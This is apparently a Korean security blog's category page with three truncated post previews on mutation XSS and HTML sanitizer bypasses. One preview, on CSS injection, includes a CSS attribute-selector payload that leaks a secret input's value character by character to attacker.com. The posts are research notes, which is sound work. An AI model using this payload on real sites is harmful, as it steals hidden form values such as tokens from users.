Project/mutation xss(3)
-
CSS injection
그렇다 내가 궁금한 것은 해당 라이브러리들이 css injection도 잘막아주는가? 이다.이에 css injection 이 될 수 있는 포인트들을 모으기로 하였다. 해당 부분이 공격 factor가 될 것 같다.1. url2. has()3. 선택자input[name="secret"][value^="a"] { background: url("https://attacker.com/leak?char=a"); }input[name="secret"][value^="b"] { background: url("https://attacker.com/leak?char=b"); }...input[name="secret"][value^="z"] { background: url("https://attacker.com/leak?c..
2025.05.17 -
Parse Me, Baby, One More Time: Bypassing HTML Sanitizer via Parsing Differentials (1)
mutation xss는 브라우저 파싱과 일반적인 보안 프레임워크의 파싱차이로 인해 발생되는 취약점이다. 브라우저가 파싱을 다양한 알고리즘으로 하는 반면 보안 프레임워크는 그러지 못하여 발생되는 취약점이다. XSS를 필터링하는 방법은 크게 2가지이다. client 측 필터링 serverside 측 필터링.그런데 serverside가 제대로 된 필터링를 진행하기 위해서는 browser의 html 파싱 알고리즘을 정확히 알아야 한다. 하지만 html 명세서만 봐도 엄청 복잡하며, 또한 명세서에 따라서 파싱이 꼭 이루어지는 것은 아니다.(이거는 브라우저 잘못임) 이에 재미있는 연구를 진행하셨다. 일단 먼저 HTML 명세를 분석하고, 파싱 동작에 영향을 줄 수 있는 html 조각을 모은 뒤 mutation..
2025.05.12 -
Muation XSS
https://www.youtube.com/watch?v=ixSENC-iZI8Mutation xss에 대한 언급이 나온다. DOMpudify 설립자인 것으로 압니다. Mutation xss에 대해서 자세하게 설명하는 영상은 아래 영상을 보면 이해하기 쉽다.https://www.youtube.com/watch?v=aczTceXp49U 한마디로 요약하자면 1. 브라우저가 에러가 발생을 막기위해서 에러가 발생될 것 같은 html의 구조를 다시 정리함.2. 이미 세니타이즈 되어서 나온 html이 다시 파싱되면서 xss가 발생함. 조금 더욱 구체적으로 말하자면, 대부분의 방어(sanitize) 라이브러리들은 문자열을 dom tree로 파싱한다. 위험한 html 및 속성을 삭제한뒤, DOM 트리를 문자열로 직렬화..
2025.05.04